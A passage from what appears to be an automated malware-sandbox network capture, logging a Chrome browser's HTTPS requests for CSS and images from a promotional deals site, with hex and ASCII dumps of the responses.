:pointer}select{word-wrap:normal}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}[type=button]::-moz-focus
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 7d 2e 64 69 73 70 6c 61 79 2d 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 36 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 2e 64 69 73 70 6c 61 79 2d 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 35 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 2e 64 69 73 70 6c 61 79 2d 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 2e 64 69 73 70 6c 61 79 2d 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 3b 6c Data Ascii: nt-size:1.25rem;font-weight:300}.display-1{font-size:6rem;font-weight:300;line-height:1.2}.display-2{font-size:5.5rem;font-weight:300;line-height:1.2}.display-3{font-size:4.5rem;font-weight:300;line-height:1.2}.display-4{font-size:3.5rem;font-weight:300;l
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 38 37 2e 35 25 3b 63 6f 6c 6f 72 3a 23 32 31 32 35 32 39 7d 70 72 65 20 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 6e 6f 72 6d 61 6c 7d 2e 70 72 65 2d 73 63 72 6f 6c 6c 61 62 6c 65 7b 6d 61 78 2d 68 65 69 67 68 74 3a 33 34 30 70 78 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 73 63 72 6f 6c 6c 7d 2e 63 6f 6e 74 61 69 6e 65 72 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 66 6c 75 69 64 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 6c 67 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 6d 64 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 73 6d 2c 2e 63 6f 6e 74 61 69 6e 65 72 2d 78 6c 7b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 35 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 Data Ascii: 87.5%;color:#212529}pre code{font-size:inherit;color:inherit;word-break:normal}.pre-scrollable{max-height:340px;overflow-y:scroll}.container,.container-fluid,.container-lg,.container-md,.container-sm,.container-xl{width:100%;padding-right:15px;padding-lef
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 6c 2d 73 6d 2d 37 2c 2e 63 6f 6c 2d 73 6d 2d 38 2c 2e 63 6f 6c 2d 73 6d 2d 39 2c 2e 63 6f 6c 2d 73 6d 2d 61 75 74 6f 2c 2e 63 6f 6c 2d 78 6c 2c 2e 63 6f 6c 2d 78 6c 2d 31 2c 2e 63 6f 6c 2d 78 6c 2d 31 30 2c 2e 63 6f 6c 2d 78 6c 2d 31 31 2c 2e 63 6f 6c 2d 78 6c 2d 31 32 2c 2e 63 6f 6c 2d 78 6c 2d 32 2c 2e 63 6f 6c 2d 78 6c 2d 33 2c 2e 63 6f 6c 2d 78 6c 2d 34 2c 2e 63 6f 6c 2d 78 6c 2d 35 2c 2e 63 6f 6c 2d 78 6c 2d 36 2c 2e 63 6f 6c 2d 78 6c 2d 37 2c 2e 63 6f 6c 2d 78 6c 2d 38 2c 2e 63 6f 6c 2d 78 6c 2d 39 2c 2e 63 6f 6c 2d 78 6c 2d 61 75 74 6f 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 35 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 35 70 78 7d 2e 63 6f 6c 7b Data Ascii: l-sm-7,.col-sm-8,.col-sm-9,.col-sm-auto,.col-xl,.col-xl-1,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-auto{position:relative;width:100%;padding-right:15px;padding-left:15px}.col{
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 3b 6d 61 78 2d 77 69 64 74 68 3a 37 35 25 7d 2e 63 6f 6c 2d 31 30 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 31 31 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 39 31 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 31 32 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 6f 72 64 65 72 2d 66 69 72 73 74 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 2d 31 3b 6f 72 64 65 72 3a 2d 31 Data Ascii: ;max-width:75%}.col-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-first{-ms-flex-order:-1;order:-1
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 33 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 33 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 34 3e 2a 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 32 35 25 3b 66 6c 65 78 3a 30 20 30 20 32 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 32 35 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 35 3e 2a 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 32 30 25 3b 66 6c 65 78 3a 30 20 30 20 32 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 32 30 25 7d 2e 72 6f 77 2d 63 6f 6c 73 2d 73 6d 2d 36 3e 2a 7b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 31 36 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 31 36 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 36 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d Data Ascii: 333%;flex:0 0 33.333333%;max-width:33.333333%}.row-cols-sm-4>{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.row-cols-sm-5>{-ms-flex:0 0 20%;flex:0 0 20%;max-width:20%}.row-cols-sm-6>*{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 72 3a 33 7d 2e 6f 72 64 65 72 2d 73 6d 2d 34 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 34 3b 6f 72 64 65 72 3a 34 7d 2e 6f 72 64 65 72 2d 73 6d 2d 35 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 35 3b 6f 72 64 65 72 3a 35 7d 2e 6f 72 64 65 72 2d 73 6d 2d 36 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 36 3b 6f 72 64 65 72 3a 36 7d 2e 6f 72 64 65 72 2d 73 6d 2d 37 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 37 3b 6f 72 64 65 72 3a 37 7d 2e 6f 72 64 65 72 2d 73 6d 2d 38 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 38 3b 6f 72 64 65 72 3a 38 7d 2e 6f 72 64 65 72 2d 73 6d 2d 39 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 39 3b 6f 72 64 65 72 3a 39 7d 2e 6f 72 64 65 72 2d 73 6d 2d 31 30 7b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 31 Data Ascii: r:3}.order-sm-4{-ms-flex-order:4;order:4}.order-sm-5{-ms-flex-order:5;order:5}.order-sm-6{-ms-flex-order:6;order:6}.order-sm-7{-ms-flex-order:7;order:7}.order-sm-8{-ms-flex-order:8;order:8}.order-sm-9{-ms-flex-order:9;order:9}.order-sm-10{-ms-flex-order:1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.16	49827	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:49 UTC	842	OUT	GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/images/index/product-mc.jpg HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:50 UTC	715	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:49 GMT Content-Type: image/jpeg Content-Length: 82127 Connection: close Last-Modified: Tue, 10 Sep 2024 10:54:49 GMT Cache-Control: public, max-age=31536000, must-revalidate Expires: Thu, 02 Oct 2025 23:37:15 GMT CF-Cache-Status: HIT Age: 60154 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bsPYgMa8mYXR8s2Zc823jI8hcnsryNxrJW%2BUbqsA%2BM5YCp2FN62oeHnWr01lmgXyx%2Bqgkgv4%2BFz0KlY6jQp0SQuE8Stx67H%2FyP9SJgpsN%2FkyHUcRv4JS5xzm5fZK9SESCmFNkwoc8rkgjd7L"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce418d3a260cc4-EWR
2024-10-03 16:19:50 UTC	654	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 3c 00 00 ff e1 03 77 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 32 20 37 39 2e 66 33 35 34 65 66 63 37 30 2c 20 32 30 32 33 2f 31 31 2f 30 39 2d 31 32 3a 30 35 3a 35 33 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 Data Ascii: ExifII*Ducky<whttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 43 44 37 36 39 46 36 31 31 45 46 38 41 42 38 46 42 39 34 38 35 37 45 43 38 30 32 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 35 20 28 57 69 6e 64 6f 77 73 29 22 3e 20 3c 78 6d 70 4d 4d 3a 44 65 72 69 76 65 64 46 72 6f 6d 20 73 74 52 65 66 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 34 42 30 46 41 31 30 43 33 34 39 33 31 31 45 46 38 38 41 35 44 43 30 30 35 41 31 32 35 41 41 30 22 20 73 74 52 65 66 3a 64 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 34 42 30 46 41 31 30 44 33 34 39 33 31 31 45 46 38 38 41 35 44 43 30 30 35 41 31 32 35 41 41 30 22 2f 3e 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 20 3c 2f 72 64 66 3a 52 44 46 3e 20 3c 2f 78 3a 78 Data Ascii: CD769F611EF8AB8FB94857EC802" xmp:CreatorTool="Adobe Photoshop 25.5 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4B0FA10C349311EF88A5DC005A125AA0" stRef:documentID="xmp.did:4B0FA10D349311EF88A5DC005A125AA0"/> </rdf:Description> </rdf:RDF> </x:x
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: ed 57 f1 d4 97 e1 fd 7f c9 30 b5 99 6c 7c 73 b3 b6 5b 77 16 3b df b5 d5 0b 99 7f e3 b0 7f 64 a9 f8 9d 3b 1f 22 92 fb e3 5f c0 9e e0 bd 41 e1 3c 84 86 41 74 db 6b c7 f5 86 6a 43 21 3e f3 e1 77 de b8 79 3d 55 fb 3a b5 55 e6 8e de 37 6b 62 f6 89 d1 f9 32 40 fb 4b 88 7c 50 bb cc 67 5a 7e 2a 7e 83 f0 fb 17 3c e8 9e ad f2 02 bb 5f a3 86 84 1e f4 06 73 24 0e 15 08 0f 68 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 0f 12 48 18 2a 50 1a e9 ae a5 96 4f 2a 01 b9 e7 b0 77 77 a0 30 f2 97 f8 5e 3f 66 72 19 9b 96 b6 9f 28 3a d5 c3 b1 8c ea e2 b3 e3 e3 4e f4 b8 c1 55 98 32 32 61 Data Ascii: W0l\|s[w;d;"_A<AtkjC!>wy=U:U7kb2@K\|PgZ~~<_s$h HPO*ww0^?fr(:NU22a
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 86 06 5c dc 63 83 0e f6 31 df 37 8b 77 e1 15 ec ec 5c 6b 5d d4 27 7b db a6 8d d1 48 ed 5e e9 27 0b 3c eb 56 95 5c 4d 17 09 e2 30 72 9b e9 71 ff 00 b4 59 63 78 d6 79 96 f1 be 32 f1 20 03 c4 01 0e 6d 08 fd 0b 73 3f 35 e3 c5 4b 8f 28 f8 fd 0d 3c 0c 25 91 27 1e 5c 65 e1 a6 e6 9b 23 8b be c7 64 a6 c6 5d 44 5b 79 04 9e 53 e2 1a 92 ea d0 6d a7 5d dd 8b 6e d5 e8 ce 0a 69 fa 59 a9 76 c4 a1 37 06 bd 48 91 72 be 04 fe 33 88 b1 b9 bf be 61 c8 de 80 ef d9 ad 67 89 82 95 71 73 f7 7e 1e 9d 3a ad 1c 3e c7 f3 13 92 8c 7d 31 fd a3 7b 33 ad fc bd b8 ca 52 f5 4b f6 48 92 e9 9c b0 80 20 08 0f 51 c9 24 52 32 58 dc 59 24 64 39 8f 69 a1 0e 06 a0 82 a1 a4 d5 19 29 b4 ea 8f a3 3d 3a e6 11 72 de 3e 60 bb 70 19 5b 40 1b 71 de 7b 1b 28 f7 f6 af 09 da e0 7e 5e e6 9f 64 b6 fe e3 de 75 Data Ascii: \c17w\k]'{H^'<V\M0rqYcxy2 ms?5K(<%'\e#d]D[ySm]niYv7Hr3agqs~:>}1{3RKH Q$R2XY$d9i)=:r>`p[@q{(~^du
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 87 ea 27 36 32 39 ae 2c 76 84 12 08 ec 04 1a 1f bd 70 ce e9 b3 ae 88 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 01 e8 80 d5 5e d6 59 9b 10 af 8c 86 e9 d4 6e 34 27 e0 35 40 73 2f 5f f3 45 96 f8 dc 2c 66 82 42 6e 66 03 f5 59 e1 60 fb 6a bd 37 c7 6c 6b 2b 8f f0 3c c7 c8 af d1 46 df f5 9c 5d 7a b3 ca 04 01 00 40 10 14 a8 ef 40 55 00 40 10 14 aa 01 50 80 aa 02 95 08 0a a0 29 54 05 50 04 01 00 40 4d bd 1e cd bb 19 cd ad 62 73 a9 16 40 1b 69 07 65 5d ab 3f ce 0b 93 dd 58 f7 31 db f1 8e a7 5f a5 bf ed e4 25 e1 2d 0e ff 00 70 3c ab f2 47 49 00 77 b2 a7 c2 40 ff 00 26 bf 15 e1 0f 76 6c 43 ab 11 3e c4 Data Ascii: '629,vp ^Yn4'5@s/_E,fBnfY`j7lk+<F]z@@U@P)TP@Mbs@ie]?X1_%-p<GIw@&vlC>
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: f9 a7 fa cd 5f 06 e7 3f e1 de 47 7f 67 7d f9 b8 2c 8d c4 b1 de c2 ef 13 58 5c f7 37 cd 0d f7 68 f1 da 3d cb 36 7e 07 bf 6a 32 8f f1 22 95 3f bb fb 8c 38 3d 87 b3 7a 51 97 f0 e4 f5 3a 4e 27 88 b3 8e e3 79 5f d1 96 bf 0d 90 b5 fa 9c 7b da ea 90 1d 14 9b a3 f6 86 e9 b4 f6 82 b8 57 b3 7d f9 5a e5 f7 c6 54 7f a5 6a 77 6c e1 fb 11 bb c7 ec 92 aa fd 0f 42 1b fb be 7f e2 4c 9f fe e6 df f9 d0 ba df 23 fe 14 7f d5 ff 00 03 93 f1 cf e2 4b fd 3f f1 47 3e c8 63 72 47 23 76 45 a4 e4 19 e5 20 f9 4f fd 73 ec 5d ab 57 61 c5 6a b6 5e 27 1a f5 89 f3 7e 97 bf 91 8f 6b 77 7d 8c be 8a ea 02 e8 2f 2d 1e 24 8c 90 43 9a f6 9a 8a 82 af 38 46 e4 5c 5e b1 66 28 4e 56 e6 9a d2 48 ec be ad e7 ef cf 02 c3 c9 11 6c 07 38 22 75 f8 60 f9 81 84 48 58 0f 5a 57 4f 72 f2 dd 36 34 7f 33 3a eb Data Ascii: _?Gg},X\7h=6~j2"?8=zQ:N'y_{W}ZTjwlBL#K?G>crG#vE Os]Waj^'~kw}/-$C8F\^f(NVHl8"u`HXZWOr643:
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 0f f4 92 0b 71 fd ce 4f e6 3b f4 2d 23 74 ce 40 10 02 80 a2 02 a8 02 00 80 20 08 05 10 0a 20 01 00 40 10 14 40 56 a8 02 00 80 20 08 02 00 80 20 08 02 00 80 20 08 02 01 54 01 00 aa 02 85 c0 75 d0 04 05 89 6f ad e3 f9 9d af 70 ea 80 d6 de f2 4b 5b 66 97 cb 23 22 60 15 dd 23 9a df d2 50 10 cc c7 ad 3c 2b 1e fd b7 19 a8 1a ea d0 86 12 ed 7e 01 01 a2 cd 7e f0 9c 2a da c1 d3 41 7a 6f a5 3a 47 6d 18 2d 2e 3e dd c0 68 80 e2 1c c7 d6 ae 63 c8 2a d8 65 36 16 26 a1 91 40 48 14 f6 bb bd 01 ce 6e 6e a6 99 ce 74 b2 99 1e 75 25 c7 71 24 fb d1 88 c6 a6 be e6 47 38 10 0e 84 8d 6b d8 14 50 2a 18 d5 3a 97 69 ee 52 90 a1 5d ee 0e 14 24 16 e9 b8 12 0e aa 68 0b ac ba 9d a7 e7 73 87 f2 89 3f a5 56 a3 53 63 8e bf c6 49 2e dc 8f 9a 1a 7e 52 c3 a7 c5 5d 17 82 4d 93 2c 6d 8f 0d b8 Data Ascii: qO;-#t@ @@V TuopK[f#"`#P<+~~Azo:Gm-.>hce6&@Hnntu%q$G8kP*:iR]$hs?VScI.~R]M,m
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 08 1f 79 71 14 c4 d0 52 47 50 9f b5 6a 5d 8b 47 a6 c2 ce b1 77 d2 d1 29 b4 e6 3c ae dc d2 2c 9c ec a7 f2 89 fb 6a b5 bd f6 b4 3d 0c 7a bb 13 5b 1b eb 2f 56 f9 75 a8 6f 9b 7b 1c cd 1d 44 81 ba fb ca c9 1c 96 68 df e8 6c 3d 95 09 0e 3f d7 d1 1d 1b 7d 0c 24 f6 ba 29 07 e8 25 66 8e 41 c9 bd f1 c7 bc 59 2e c5 fa e9 c3 ae 18 03 af 5d 6e ee d0 f1 51 f6 85 97 f3 0b cc e5 dc e8 af 2d b5 24 d8 cf 53 b8 c5 ed 1b 6f 95 b7 7b bf 51 cf 6b 4f d8 b2 2b 89 f8 9a 37 3a fb d0 dd 12 4b 7c ed b4 ad 0e a8 2d ef 69 a8 57 52 46 a4 a1 28 ee a8 66 b6 ea 09 9b 56 3e be c5 6a 15 5a 98 33 b8 45 75 1c d5 d1 ae 04 93 d0 03 e1 71 ff 00 25 c5 01 c9 bd 7f c3 98 f2 58 fc b3 1b e0 9e 37 5b ca ef e5 30 ee 6d 7e 05 7a cf 8e df ac 25 0f 2d 4f 27 f2 2b 14 94 67 e7 a1 c9 57 a5 3c c8 40 10 1d 0b Data Ascii: yqRGPj]Gw)<,j=z[/Vuo{Dhl=?}$)%fAY.]nQ-$So{QkO+7:K\|-iWRF(fV>jZ3Euq%X7[0m~z%-O'+gW<@
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: b6 5f 4f 38 78 18 95 23 53 a1 1d 85 66 53 4c e3 ce d4 a3 b8 60 04 9a 95 35 28 a4 99 ed b5 26 a0 7b 95 a8 5a ad 6c 5e 8c 96 f8 ba 12 89 91 ae e5 b9 9b 13 cd 1c d0 5c 7b 54 b6 20 cf 10 09 ed c8 92 12 37 b0 ee 07 da a9 28 d4 bd ab ce dc ea 48 f1 7c 8d b7 07 ca bf 7b a3 97 a8 70 e8 47 b5 68 ce c5 59 ed 30 7b d4 a3 a9 98 73 d8 a6 1f 04 06 60 34 d4 f5 58 bf 2e 5e e7 7c ab a2 a9 7e df 90 61 dc 40 7c 1e 49 27 ba a1 59 d8 d0 c9 63 ba 8c 9e aa 86 e2 27 da bd 9b e1 d8 e0 7a 11 45 ad 2b 4c ef 62 64 db b8 b4 28 d9 18 0e 8c 0d 77 63 81 d7 ee 51 c9 c4 da 76 e1 25 aa 37 78 7e 65 c8 b1 12 09 2c af 64 6b 5b f8 1c 6a cf 88 2b 24 6f b3 9f 7f a9 b3 75 6b 12 6f 85 f5 ef 21 11 0c ca da 36 70 3e 69 a1 3b 4f f9 3a ac f0 cc 67 9e c8 f8 c6 be 86 4e 71 3e aa 60 32 c0 6d 98 c3 21 eb Data Ascii: _O8x#SfSL`5(&{Zl^\{T 7(H\|{pGhY0{s`4X.^\|~a@\|I'Yc'zE+Lbd(wcQv%7x~e,dk[j+$ouko!6p>i;O:gNq>`2m!
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: b8 c3 44 91 c8 06 83 47 7b 15 8c 0d 55 a4 4d f8 c0 f2 f1 bb 9d a3 64 71 2d 0b 97 92 f5 3e 8f d1 43 8d b4 7a ba 90 3d fa 2d 56 cf 49 55 42 c6 aa 28 55 15 aa ad 0b 36 2b 51 4a 7b d5 a3 36 8c 33 b7 19 7d c8 c5 b8 c5 da 4e 6a e6 ec 77 78 5b 10 be ce 4e 57 49 6e e9 ac b8 c0 cf 1f 8a 17 79 8d ec 07 aa da 86 42 3c c6 6f c7 a5 0f b4 c4 64 72 87 ed 73 0b 48 ea 29 a2 db 85 e4 cf 3d 73 12 e4 1e a8 f6 40 34 00 7b d6 44 d1 83 c7 52 d1 15 71 03 a8 55 65 76 65 74 14 34 af 7a 9d 8b 34 99 5a 68 5c 0f 55 57 a9 0e 54 36 f8 0c b6 36 d6 91 dd d9 89 01 eb 25 6a 47 c0 aa d0 e8 61 66 c2 1b aa 93 9b 6c 47 1b cb 63 a4 9a 06 b1 e0 34 97 16 51 ae 14 15 e8 a1 d0 ed 5a e1 7b 6d 08 e4 d8 6c 86 2a 08 ee 6d 9e 64 88 f8 9f 18 1d 1b 5d 2a 16 bc da 32 fb 37 b1 fd 51 d8 b9 65 96 75 db 83 34 Data Ascii: DG{UMdq->Cz=-VIUB(U6+QJ{63}Njwx[NWInyB<odrsH)=s@4{DRqUevet4z4Zh\UWT66%jGaflGc4QZ{mlmd]27Qeu4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.16	49828	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:49 UTC	834	OUT	GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/images/verified.png HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:50 UTC	706	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:50 GMT Content-Type: image/png Content-Length: 26093 Connection: close Last-Modified: Tue, 10 Sep 2024 07:40:53 GMT Cache-Control: public, max-age=31536000, must-revalidate Expires: Thu, 02 Oct 2025 23:37:15 GMT CF-Cache-Status: HIT Age: 60155 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ko2699eyvwyzStvF4cdPaqgg1kZV9KspWXivYgqq9%2B0Z3868bQh1tpmHFZBGeXZejRKo0mcaOGA4hO5bgsog7tpjDJsFX6a5hR8X1YAXiXJ8f8%2FlQwQADh3qQE8mDubAJtLtkLuWQQ4OGZZS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce418debe54357-EWR
